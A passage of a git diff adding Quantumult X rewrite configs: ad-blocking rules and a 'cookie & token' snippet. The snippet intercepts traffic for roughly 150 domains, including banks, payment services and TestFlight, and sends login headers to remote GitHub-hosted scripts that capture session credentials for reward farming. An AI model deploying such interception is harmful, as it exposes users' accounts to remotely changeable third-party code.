https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaotucc.js + +# > 小纸箱助手 +^https:\/\/xcx\.xianbaow\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 小野分享 +^https:\/\/lysl2020\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 小打卡 +^https?:\/\/uranus\.sharedaka\.com\/api\/v3\/user\/info\/get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaodaka.js + +# > 星巴克 微信小程序净化 +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/popup url reject-dict +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/index\/banner url reject-dict +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/index\/global url reject-dict + +# > 喜茶 微信小程序净化 +^https:\/\/go\.heytea\.com\/api\/service-portal\/vip url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/heytea.js + +# > 搜罗好货 +^https?:\/\/wp3\.lobdol\.cn\/wp-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 享道出行 微信小程序净化 +^https:\/\/passengerapi\.saicmobility\.com\/(ad\/requestAd|pay\/v1\/queryOpenedCouponPackages) url reject-dict + +# > 携程旅行 微信小程序净化 +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/tripAds url reject-dict +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/12673\/queryWeChatHotEvent url reject-dict +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/13012\/getWaterflowInfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/T3.js + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 悠洗APP 微信小程序净化 由TEXAS和豆豆提供 +^https:\/\/api\.ulife\.group\/signintask\/adServing url reject-dict +^https:\/\/api\.ulife\.group\/auth\/account\/getUpgradeStrategy url reject-dict +^https:\/\/api\.ulife\.group\/market\/frontEntrance\/getThirdAdvertising\?displayPort=1&type=15 url reject-dict +^https:\/\/api\.ulife\.group\/market\/memberCard\/listMemberCard\?isShowSecondaryCard=1 url reject-dict +^https:\/\/api\.ulife\.group\/auth\/account\/entrance url reject-dict +^https:\/\/api\.ulife\.group\/market\/homeIconDetail\/list\/v7 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/yx.js + +# > 一点点 微信小程序净化 +^https:\/\/cappapi\.alittle-tea\.com\/open\?method=catering\.set\.ad url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/alittle-tea.js +^https:\/\/alittle-tea\.oss-cn-shanghai\.aliyuncs\.com\/images\/platform\/alittle url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 中通快递 微信小程序净化 +^https:\/\/hdgateway\.zto\.com\/getApolloConfig url reject-dict +^https:\/\/hdgateway\.zto\.com\/track url reject-dict +^https:\/\/hdgateway\.zto\.com\/getAdInfo url reject-dict +^https:\/\/hdgateway\.zto\.com\/listJumperShow url reject-dict + +# > 掌上公交 +^https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js + +# > 扎比科技资源箱 弹框显示内容 +^https:\/\/jabi\.coding\.net\/p\/xcx\/d\/xcx\/git\/raw\/master\/jabikj\.json url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jabi.js diff --git a/QuantumultX/rewrite/cookies.snippet b/QuantumultX/rewrite/cookies.snippet new file mode 100644 index 00000000..f6fc0753 --- /dev/null +++ b/QuantumultX/rewrite/cookies.snippet @@ -0,0 +1,546 @@ +#!name=获取cookie&token合集 +#!desc=顺序尽量放到上面,获取到以后禁用该配置避免重复大量的MITM +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/cookie.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/cookies.snippet +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 奶思 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2024-11-10 15:00:00 +############################################# + + +# 去重后的hostname,将对以下域名进行MITM(MAN-IN-THE-MIDDLE:中间人攻击) +hostname = mobile-consumer-sapp.chery.cn, xxyx-client-api.xiaoxiaoyouxuan.com, yunbusiness.ccb.com, home.m.jd.com, api.m.jd.com, ms.jr.jd.com, jdread-api.jd.com, me-api.jd.com, wq.jd.com, daojia.jd.com, testflight.apple.com, farm.api.ddxq.mobi, user-api.smzdm.com, luka-graphql.ling.cn, fmapp.chinafamilymart.com.cn, apph5.manmanbuy.com, www.hifini.com, cauth.pupuapi.com, qqpet.jwetech.com, rewards.bing.com, auth.alipan.com, auth.aliyundrive.com, draw.jdfcloud.com, api.momosyb.com, passport.iqiyi.com, account.huami.com, api.dongqiudi.com, act.10010.com, wox2019.woxshare.com, www.52pojie.cn, api.prize.qq.com, eventv3.reader.qq.com, api.tuhu.cn, gameapi.hellobike.com, xiaoshuo.qm989.com, passport.biligame.com, cxdng.cpic.com.cn, teacherapi.zmlearn.com, luckman.suning.com, api.dushu.io, api.xiaoheihe.cn, api.inews.qq.com, zt.wps.cn, m.client.10010.com, m.ctrp.com, activity.m.duiba.com.cn, as.xiaojukeji.com, www.maomicd.com, h5.youzan.com, node.kg.qq.com, manga.bilibili.com, ios.baertt.com, www.mydigit.cn, proxy.vac.qq.com, wx-mini.pagoda.com.cn, *.acfun.cn, *.rrys2019.com, *.bilibili.com, club.yili.com, marketappapi.biyao.com, commontgw6.reader.qq.com, *.ctrp.com, *.csdn.net, www.duokan.com, ngabbs.com, note.youdao.com, h5.bianlifeng.com, kd.youth.cn, activity-1.m.duiba.com.cn, cloud.umetrip.com, hongbao.youzikuaibao.com, air.tb.ele.me, *.xmcimg.com, m.ctrip.com, user.qunar.com, mcs-mimp-web.sf-express.com, tb.ele.me, dominos0724.shjimang.com, h5.ele.me, my.ruanmei.com, promotion.waimai.meituan.com, www.2xtj7.cn, mall.oclean.com, apk.tw, user-api-prd-mx.wandafilm.com, *.youth.cn, wq.02gk.com, iphone.myzaker.com, apiwz.midukanshu.com, api.1sapp.com, nebula.kuaishou.com, yuba.douyu.com, *.ximalaya.com, *.zhuishushenqi.com, sf-integral-sign-in.weixinjia.net, epassport.diditaxi.com.cn, *.m.163.com, e.dlife.cn, open.e.189.cn, e.189.cn, wapside.189.cn, api.kkmh.com, *.rr.tv, gameapi.suning.com, *.you.163.com, app.oscaches.com, exp.angelalign.com, getconfig-globalapi.zymk.cn, mall.meituan.com, game.xiaojukeji.com, api.infzm.com, *.v2ex.com, *.rrys2020.com, app.nio.com, music.163.com, studygolang.com, kandian.wkandian.com, ifac*.iqiyi.com, ug-fission.kuaishou.com, passport.suning.com, tncj.hortorgames.com, credits.bz.mgtv.com, c.tieba.baidu.com, api.sdbao.com, 113.96.156.178, wxavip-up.ezrpro.cn, *.video.qq.com, j1.pupuapi.com, tieba.baidu.com, wx.17u.cn, www.baimaa.com, frodo.douban.com, m-bean.kaola.com, 110.43.90.61, newsapi.sina.cn, i.meituan.com, wxprdapplet.gac-nio.com, icbc1.wlphp.com:8444, ios-fenqu11.lxsjgo.com, sapi.beingfine.cn, *.feng.com, www.hnmiaosu.cc, clientaccess.10086.cn, mobile.app.autohome.com.cn, ph0001.hezyq.com, api.everphoto.cn, api-takumi.mihoyo.com, sports.lifesense.com, superapp.kiwa-tech.com, api.weather.com, sign.suning.com, qqpet.jwetech.com, m.elong.com, webapi.qmai.cn, mwegame.qq.com, activity.m.kuaishou.com, mobwsa.ximalaya.com, proapi.115.com, youhui.95516.com, www.xiaodouzhuan.cn, *.smzdm.com, app.ymatou.com, operation-api.jimistore.com, www.flyert.com.cn, api.cashtoutiao.com, choujiang-server.deering.cn, maicai.api.ddxq.mobi, minigame.zijieapi.com, appsmall.rtmap.com, m.gdoil.cn, *.weibo.cn, *.weibo.com, weibo.com, ios.zmzapi.com + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AcFun +# hostname = +^https:\/\/api\-new\.app\.acfun\.cn\/rest\/app\/user\/personalInfo url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/acfun/acfun.cookie.js + +# > APK.TW +# hostname = +^https://apk.tw\/member.php(.*?)action=login url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/apktw/apktw.cookie.js + +# > 阿里云盘任务 +# hostname = auth.alipan.com, auth.aliyundrive.com +^https:\/\/(auth|aliyundrive)\.alipan\.com\/v2\/account\/token url script-request-body https://gist.githubusercontent.com/Sliverkiss/33800a98dcd029ba09f8b6fc6f0f5162/raw/aliyun.js +# 阿里云盘签到cookie +^https:\/\/auth.aliyundrive.com\/v2\/account\/token url script-response-body https://raw.githubusercontent.com/lowking/Scripts/master/ali/aliYunPanCheckIn.js + +# > 爱奇艺 cookie +# hostname = +^https:\/\/passport\.iqiyi\.com\/apis\/user\/ url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/iQIYI-DailyBonus/iQIYI.js + + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > bing获取积分cookie +# hostname = +^https:\/\/rewards\.bing\.com url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/bing/bingPoint.js + +# > 百度贴吧 cookie +# hostname = +https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/BDTieBa-DailyBonus/TieBa.js +# 贴吧 获取cookie1 +https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js +# 贴吧_获取cookie2 +^https?:\/\/c\.tieba\.baidu\.com\/c\/s\/channelIconConfig url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js +# 贴吧_获取cookie3 +^https?:\/\/tiebac\.baidu\.com\/c\/u\/follow\/getFoldedMessageUserInfo url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js + +# > 百词斩 +# hostname = +;^https://group\.baicizhan\.com/group/rewards? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/bcz/bcz.cookie.js + +# > 哔哩哔哩漫画 +# hostname = +^https:\/\/passport\.biligame\.com\/api\/login\/sso.+?version%22%3A%22(3|4|5) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/Bilibili-DailyBonus/Manga.js +# 哔哩哔哩大会员特权领取cookie +https:\/\/api.bilibili.com\/x\/vip\/privilege\/receive url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/privilegeReceive.js +# 哔哩哔哩番剧监控cookie +https?:\/\/app.bilibili.com\/x\/v2\/space\/bangumi url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/bangumiMonitor.js +# bilibili +^https:\/\/(www|live)\.bilibili\.com\/?.? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/bilibili/bilibili.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > CSDN +# hostname = +^https:\/\/passport.csdn.net\/v2\/api\/app\/login\/checkAndRefreshToken url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js +^https:\/\/gw.csdn.net\/mini-app\/v2\/lucky_draw\/login\/sign_in\? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js + +# > 彩云 +# hostname = +^https?:\/\/api.weather\.com url script-request-header https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/caiyun.js + + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > 滴滴出行-滴滴果园 获取token +# hostname = game.xiaojukeji.com +# tips = ddgyToken: 必填,账号token,多账号换行或者@隔开,格式uid&token。uid不可随便填,主要是方便区分账号用 +^https?:\/\/game\.xiaojukeji\.com\/api\/game\/plant\/newWatering\? url script-request-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + +# > 滴滴打车 +# hostname = epassport.diditaxi.com.cn +# tips = 微信小程序 -- 滴滴出行, 第一次注册登录后可能需要退出再进一次 +^https:\/\/epassport\.diditaxi\.com\.cn\/passport\/login\/v5\/signInByOpenid url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + +# > 抖音 抖抖果园 +# hostname = +^https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info url script-request-header https://raw.githubusercontent.com/LinYuanovo/scripts/main/dygy.js + +# > 叮咚买菜 获取cookie +# hostname = +^https?:\/\/maicai\.api\.ddxq\.mobi\/point\/home\?api_version url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/dingdong/dingdong_checkin.js +;^https:\/\/maicai.api.ddxq.mobi\/point\/home url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/mcdd/mcdd.cookie.js + +# > 斗鱼鱼吧 获取cookie +# hostname = +^https://yuba.douyu.com/wbapi/web/group/myFollow? url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/douyu/yubaSign.js + +# > 懂球帝 +# hostname = +^https:\/\/api\.dongqiudi\.com\/v2\/user\/is_login url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/dongqiudi/dongqiudi.cookie.js + +# > 豆瓣时间 +# hostname = +;^https:\/\/fro\.douban\.com\/api\/v2\/niffler\/check_in\/status url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/dbsj/dbsj.cookie.js + +# > 叮咚买菜 +# hostname = +# 叮咚农场 +https:\/\/maicai\.api\.ddxq\.mobi\/user\/checkLogin url script-request-header https://raw.githubusercontent.com/iepngs/Script/master/dingdong/index.js +# 叮咚果园获取Cookie +https:\/\/farm\.api\.ddxq\.mobi\/api\/v2\/props\/feed url script-request-header https://raw.githubusercontent.com/iepngs/Script/master/dingdong/ddgy.js + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< +# > 饿了么 每日自动领取任务及吃货豆cookie +# hostname = +;^https?:\/\/air\.tb\.ele\.me\/app\/conch-page\/svip-foodie-card\/home url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/eleme/eleme_daily.js +;^https?:\/\/air\.tb\.ele\.me\/app\/conch-page\/svip-home-tasklist-new\/home url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/eleme/eleme_daily.js +;^https?:\/\/tb\.ele\.me\/wow\/alsc\/mod url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/eleme/eleme_daily.js +;^https?:\/\/h5\.ele\.me\/restapi\/biz\.svip_scene\/svip\/engine\/queryTrafficSupply url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/eleme/eleme_daily.js + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > Fa米家 获取cookie +# hostname = +^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/market\/member\/(signin\/usersign|sign\/current) url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/famijia/famijia_checkin.js + +# > 飞客茶馆 +# hostname = +^https?:\/\/www\.flyert\.com\.cn\/api\/mobile\/index\.php\?module=getdata&.* url script-request-header https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/CheckIn/flyert.js + +# > 樊登读书 +# hostname = +^https://api\.dushu\.io/CheckIn url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/fandeng/fandeng.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > Geekhub +# hostname = +;^https:\/\/geekhub\.com\/checkins\/start url script-request-header https://raw.githubusercontent.com/id77/QuantumultX/master/task/geekhub.cookie.js + + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > hifini 签到cookie +# hostname = +https:\/\/www.hifini.com\/my.htm url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/hifini/hifiniSign.js + +# > 合创 +# hostname = +^https:\/\/wxprdapplet\.gac-nio\.com\/community\/userSignIn\/simpleAuth\/front\/v3\.1\.3\.5\/signV2$ url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/hycan/hycan.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 京东 +# hostname = +# 浏览器登录京东,点击右下角我的页面获取 +^https:\/\/home\.m\.jd\.com\/myJd\/(newhome|home)\.action url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js + +# > 京东读书 +# hostname = +^https:\/\/jdread-api\.jd\.com\/* url script-request-header https://raw.githubusercontent.com/XidNDD/2020scripts/master/jddsSign.js + +# > 京东到家 +# hostname = +^https:\/\/daojia.jd.com/client(.*?)functionId=signin(.*?)userSigninNew url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/jddj/jddj.cookie.js + +# > 建行生活 签到获取cookie +# hostname = +^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin) url script-request-body https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js + +# > 柚子快报 +# hostname = +^http?:\/\/hongbao\.youzikuaibao\.com\/youzi\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/yzkbSign.js + +# > 加油广东 +# hostname = +^https:\/\/m.gdoil.cn\/webapi\/usersign\/addusersign url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/gdoil/gdoil.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > 快手果园 获取cookie +# hostname = +^https://ug-fission.kuaishou.com/rest/n/darwin/orchard/water/watering url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_getCookie.js + +# > 快看漫画 cookie +# hostname = +^https:\/\/api\.kkmh\.com\/v\d\/passport\/user url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/KuaiKan-DailyBonus/KKMH.js + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > Luka 获取cookie +# hostname = +^https?:\/\/luka\-graphql\.ling\.cn\/graphql\/mobile\?operation=UserInfoWithPendingRobotQuery url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/luka/luka_signin.js + + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > 美团 +# hostname = open.meituan.com, gaea.meituan.com +# 获取token,美团APP点击“我的-个人主页” +# 新版本 +# 进入“完善资料”,这一步可以获取到用户ID用于更新多账号信息 +https://open.meituan.com/user/v1/info/auditting url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js +;https://open.meituan.com/user/v1/info/audit url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js +# 旧版本 +https://gaea.meituan.com/mapi/usercenter url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js +# 小象买菜 每日自动签到cookie, 打开美团App,选择“美团买菜” - “我的” - “天天领钱” +;^https?:\/\/mall\.meituan\.com\/api\/c\/mallcoin\/checkIn\/getWeekCheckInProgressBar\? url script-request-header https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/meituan/maicai_checkin.js + +# > 美团外卖 +# hostname = +^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/entry url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js +^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/doaction url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js + +# > 慢慢买 获取cookie +# hostname = +^https?:\/\/apph5\.manmanbuy\.com\/taolijin\/(login.aspx|logserver.aspx) url script-request-body https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/manmanbuy/manmanbuy_checkin.js + +# > 芒果TV +# hostname = +^https:\/\/credits.bz.mgtv.com\/user\/creditsTake url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/mgtv/mgtv.cookie.js + +# > 米游社 +# hostname = +^https:\/\/api-takumi.mihoyo.com\/apihub\/api\/getGameList url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/mihoyo/mihoyo.cookie.js + +# > 猫咪音乐网 +# hostname = +https:\/\/www.maomicd.com\/plugin.php\?id=k_misign:sign&operation=qiandao url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/maomicd/maomicd.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > nga +# hostname = +^https:\/\/ngabbs.com\/nuke.php\?? url script-request-body https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/nga/nga.cookie.js + + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > 拼多多果园 +# hostname = +https://m.pinduoduo.net/proxy/api/api/server/_stm url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_getToken.js + +# > 朴朴签到cookie +# hostname = +https:\/\/cauth.pupuapi.com\/clientauth\/user\/verify_login url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/pupu/pupuCheckIn.js + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ VipCheckIn +# hostname = +https:\/\/proxy\.vac\.qq\.com\/cgi-bin\/srfentry.fcgi? url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/QQVip/qqVipCheckIn.js + +# > QQ萌宠 cookie +# hostname = +https:\/\/qqpet.jwetech.com\/api\/authorizations url script-response-body https://raw.githubusercontent.com/lowking/Scripts/master/QQPet/lkQQPet.js + +# > 汽车之家极速版 +# hostname = +^https:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js +^http:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/coin\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js + +# > 去哪儿 +# hostname = +^https:\/\/user.qunar.com\/webapi\/member\/signIndexV2.htm url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/qunar/qunar.cookie.js + +# > 全民K歌 +# hostname = +^https://node\.kg\.qq\.com/webapp/proxy? url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/qmkg/qmkg.cookie.js + +# > 奇瑞汽车App +# hostname = mobile-consumer-sapp.chery.cn +^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/user\/current\/details\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > 人人视频 +# hostname = +^https:\/\/api\.rr\.tv\/user\/profile url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/rrtv/rrtv.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > 什么值得买 (APP点击个人头像/个人资料获取) +# hostname = +^https:\/\/user-api\.smzdm\.com\/users\/info url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + +# > 顺丰速运 +# hostname = mcs-mimp-web.sf-express.com +# tips = 打开小程序或APP-我的-积分, 捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 +^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/weChat\/shareGiftReceiveRedirect url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js +^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/app\/shareRedirect url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + +# > 水滴筹 +# hostname = +^https:\/\/api\.sdbao\.com\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/sdcbxscSign.js + +# > 水晶DJ +# hostname = +^http:\/\/app\.oscaches\.com\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/sjdjSign.js + +# > 时光相册 +# hostname = +^https:\/\/api.everphoto.cn\/users\/self\/checkin\/v2 url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/everphoto/everphoto.cookie.js + +# > 苏宁易购 +# hostname = +^https:\/\/passport.suning.com\/ids\/login$ url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js +^https:\/\/luckman.suning.com\/luck-web\/sign\/api\/clock_sign.do url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js +^https:\/\/sign.suning.com\/sign-web\/m\/promotion\/sign\/doSign.do url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js +^https:\/\/gameapi.suning.com\/sngame-web\/(api\/signin\/private\/customerSignOperation.do|gateway\/api\/queryPrize.do) url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > TestFlight账号cookie +# hostname = testflight.apple.com +;^https:\/\/testflight\.apple\.com\/v3\/accounts/.*\/apps$ url script-request-header https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/testflight/TF_keys.js +;^https://testflight.apple.com/join/(.*) url script-request-header https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/testflight/TF_keys.js + +# > 太好购 +# hostname = +^https:\/\/cxdng\.cpic\.com\.cn\/taieshop\/api\/CustomerFansInfo\/GetFansInfo url script-request-header https://raw.githubusercontent.com/id77/QuantumultX/master/task/thg.cookie.js + +# > 天天挖矿 +# hostname = +^https:\/\/operation-api\.jimistore\.com\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/ttwbxcxSign.js + +# > 腾讯视频 +# hostname = +^https:\/\/access.video.qq.com\/user\/auth_refresh url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/videoqq/videoqq.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > V2EX +# hostname = +^https:\/\/www\.v2ex\.com\/mission\/daily url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/v2ex/quanx/v2ex.cookie.js + + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > WPS +# hostname = +^https:\/\/zt.wps.cn\/2018\/docer_check_in\/api\/act_list url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/wps/wps.cookie.js + +# > 微博 获取cookie +# hostname = *.weibo.cn, *.weibo.com, weibo.com +^https:\/\/m?api\.weibo\.c(n|om)\/\d\/users\/show url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js +^https:\/\/api\.weibo\.cn\/\d\/users\/show url script-request-header https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js +^https:\/\/api\.weibo\.cn\/2\/logservice\/attach url script-request-header https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js +^https:\/\/weibo\.com\/p\/aj\/general\/button\?ajwvr=6&api=http:\/\/i\.huati\.weibo\.com\/aj\/super\/checkin url script-request-header https://raw.githubusercontent.com/lowking/Scripts/master/weibo/weiboSTCookie.js +# 微博超话签到获取cookie +^https://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) url script-request-header https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js + +# > 吾爱破解 cookie +# hostname = +https:\/\/www\.52pojie\.cn\/home\.php\? url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/52pojie-DailyBonus/52pojie.js + +# > 网易游戏会员 +# hostname = 